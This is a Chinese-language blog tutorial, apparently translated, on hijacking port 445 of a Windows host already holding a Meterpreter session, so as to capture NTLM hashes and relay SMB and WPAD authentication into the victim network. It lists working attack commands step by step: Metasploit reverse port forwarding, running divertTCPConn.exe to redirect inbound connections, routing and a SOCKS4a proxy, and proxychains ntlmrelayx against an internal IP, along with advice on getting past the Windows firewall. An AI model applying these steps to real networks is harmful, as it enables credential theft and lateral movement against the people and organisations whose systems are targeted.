一、前言
劫持445端口来执行中继（relay）攻击或者哈希捕获攻击一直以来都是相当热门的话题，当我们使用meterpreter感染目标时，我们如何才能在445端口上监听连接？几星期之前这个话题再次浮出水面，当时Dirk-jan（@_dirkjan）在Slack上的#bloodhoundgang话题中看到有人提到这个问题，希望我能够研究一下。这个问题听起来非常有趣，他也答应我如果能够找到解决办法，会写一篇文章介绍通过meterpreter执行SMB中继攻击的具体过程。事实上这个问题已经有解决方案，但很多人都不知道具体如何操作。
本文介绍了如何利用这些工具在已具备meterpreter会话的目标主机上执行中继攻击。这种方法还有另一个优点，那就是我们不需要使用python2exe之类的工具或者要求目标主机安装全功能的python环境，只需要一个简单的驱动和meterpreter会话就能完成攻击任务。
本文的第一部分将重点关注如何劫持445端口，第二部分将重点介绍如何将该端口用于relay攻击。如果大家想跳过具体分析及环境配置过程，可以直接到Github上获取最终解决方案。
下文主要包含以下几点内容：
1、445端口对应哪个服务或进程？
2、如何劫持并重定向445端口？
3、如何通过meterpreter设置完整的SMB中继环境？
需要注意的是，本文选择了较为简单的方法，将所有文件存放在磁盘上。如果你想避免这种方式，我们建议你使用ram disk解决方案，或者拓展当前的meterpreter内存执行功能，使其能够支持本文描述的类似功能。
此外，大家可能还需要重新静态编译源代码，确保运行时不需要依赖其他DLL文件，否则就需要绑定这些DLL文件。这些任务都交由大家来完成了。
二、445端口具体实现位置
首先我们要确定哪个服务或进程在445端口上监听。我首先做的一件事就是先搜索是否有人已经回答过这个问题，并手动在我的Win 10 x64系统上进行验证。因此我决定在Google上搜索“msdn process listening port 445”关键词。
搜索结果给出了两个页面：
https://msdn.microsoft.com/en-us/library/cc875824.aspx
根据这些资料中提到的服务信息，我在系统上做了些测试，逐步停止并禁用一些服务来判断哪个对象负责这个端口，我首先选择的就是Server服务。禁用服务暂时不能立即生效，所以我重启了目标主机，完成了这个任务。这种操作当然不是实际操作中的真正解决方案，以为理想情况下我们并不希望重启被感染的目标主机。
如果我们更进一步研究，查看服务的属性，我们可以看到启动该服务的命令为：
C:WINDOWSsystem32svchost.exe -k netsvcs -p
Geoff Chappell在他的网站上详细介绍了svchost.exe所使用的命令行参数。
如果我们访问文中提到的注册表路径：
HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionSvchost
可以找到捆绑的许多服务，但这并没有完全回答我们的问题。那么为何不换种思路？像之前那样，我们可以尝试简单一点的方法，比如检查服务的属性，在“Dependencies”（依赖）选项卡中有个srvnet服务，该服务指向了一个驱动。
如果我们通过Google深入了解永恒之蓝（external blue）漏洞利用技术，我们可以找到一篇文章，文章中提到：“SMB协议的实现大部分都位于srv.sys驱动中”，并且该驱动与srvnet.sys驱动关系紧密。为了确认这一点，我们找到了微软官方的一篇文章。文中第一段几乎总结了我们一直在寻找的答案，负责处理445端口连接的代码位于内核中。在某种程度上这对我们来说是一个坏消息，因为这样我们就不能简单地劫持套接字。因此我们可能需要学习新知识，才能知道可以通过哪条路解决这个问题。
三、劫持并重定向445端口
现在我们已经知道445端口的实现位于内核中，我们可以开始规划具体策略。我首先想到的就是Linux中使用iptables来劫持入站或者出站连接这种思路，这是因为这种方式运行在网络协议栈中相对较低的底层。为了验证我们是否可以在Windows上使用这种思路，我们可以研究一下Windows防火墙的内部工作原理，可以参考以下两篇详细说明文档：
1、Windows防火墙架构)；
从某种意义上说，Windows上的Windows Filtering Platform（Windows过滤平台）也支持这种概念。这对我们来说是个好消息，然而坏消息是我们似乎需要为此创建一个驱动。大家可能会认为可以使用netsh端口转发技巧，但事实并非如此。不幸的是我在这方面还没有深入了解，因此可能需要花很多时间。
然而人总有懒惰性，因此创建驱动听起来并不是最佳方案。有趣的是，如果我们在Google上搜索类似wfp port connection之类的关键词，就会发现已经有人（@agsolino，也是impacket工具的开发者）提出过解决方案，另外你可能也会在搜索结果中找到windivert框架。如果大家继续搜索，可能会找到我们这篇文章中提到的解决方案，我们给出的应用程序非常简单，可以重定向入站连接。现在我们来看一下如何通过meterpreter重定向目标系统上445端口的入站连接。我们提出的解决方案示意图如下所示：
上图中有一个被感染的目标主机（infected host），在这个meterpreter会话中，我们将建立从目标主机到我们的控制主机（metasploit实例，监听在常规的4444端口上）的一个反向端口转发连接。meterpreter的远程监听端口（8445）会接收传入445端口的连接，从而实现劫持445端口的入站连接，并最终将其转到metasploit实例。接下来让我们实际操作一番，抓取一些凭据信息，验证这种思路的可行性：
1、设置一个有效的管理员meterpreter会话；
2、设置SMB凭据抓取服务器，具体命令为：
use auxiliary/scanner/smb/smb_login
set SRVPORT 9445
run -j
3、使用meterpreter创建反向端口转发：
portfwd add -R -L 127.0.0.1 -l 9445 -p 8445
4、劫持445端口：
divertTCPConn.exe 445 8445
就这么简单，当受害者主机连接被感染主机的445端口时，我们可以在metasploit控制台中收到哈希信息，如下图所示：
接下来Dirk-jan将拓展上述思路，介绍如何通过被感染主机实施完整的远程NTLM relay攻击。
四、通过meterpreter设置完整的SMB relay环境
在最后一部分中，我们将在Ubuntu系统上使用ntlmrelayx工具，将连接中继至受害者网络内部的某个系统，这种场景中需要通过meterpreter向前及向后转发网络流量。当目标网络中的主机连接被我们控制的主机时，可以利用反向连接来确保连接到ntlmrelayx，最终又中继回目标网络中。回连目标网络的连接链路中包含一个SOCKS代理。这种攻击的示意图如下所示：
第一步与前文提到的步骤类似，用来创建反向隧道：
1、设置一个有效的管理员meterpreter会话；
2、使用meterpreter设置反向端口转发：
portfwd add -R -p 4445 -l 445 -L 127.0.0.1
3、通过meterpreter设置445端口劫持环境：
execute -f divertTCPconn.exe -a '445 4445'
为了设置正向连接隧道，我们添加了一条路由，重定向通过我们meterpreter会话（这里的会话编号为3）的流量并设置SOCKS代理：
（1）通过meterpreter添加路由，这里我们直接指定目标IP地址：
route add 192.168.222.103/32 3
（2）设置SOCKS代理：
use auxiliary/server/socks4a
run
确保/etc/proxychains.conf中设定了SOCKS端口（默认为1080）
（3）通过SOCKS运行ntlmrelayx：
sudo proxychains ntlmrelayx.py -t smb://192.168.222.103 -smb2support
现在使用该隧道来执行relay攻击的环境应该已经设置完毕，我们可以使用类似Inveigh或者自己喜欢的流量获取方法来实施欺骗攻击。
一旦有入站连接，ntlmrelayx会将流量通过SOCKS隧道路由回我们的受害网络，然后就是正常的流程处理：
最后我们还要记住几点：
1、设置反向转发规则时，Windows防火墙默认情况下会阻止这种操作，请提前解除这个阻碍或者将其加入白名单；
2、在实施中继攻击时我们还要考虑到类似SMB签名之类的缓解措施；
3、为了中继HTTP流量（WPAD身份认证），我们需要做的就是添加另一个反向转发规则，从80端口转至我们本地的ntlmrelayx（除非系统在80端口上安装了一个Web服务器，默认情况下Windows并没有使用80端口，因此这种场景下不需要使用高级重定向方法）。
还没有评论，来说两句吧...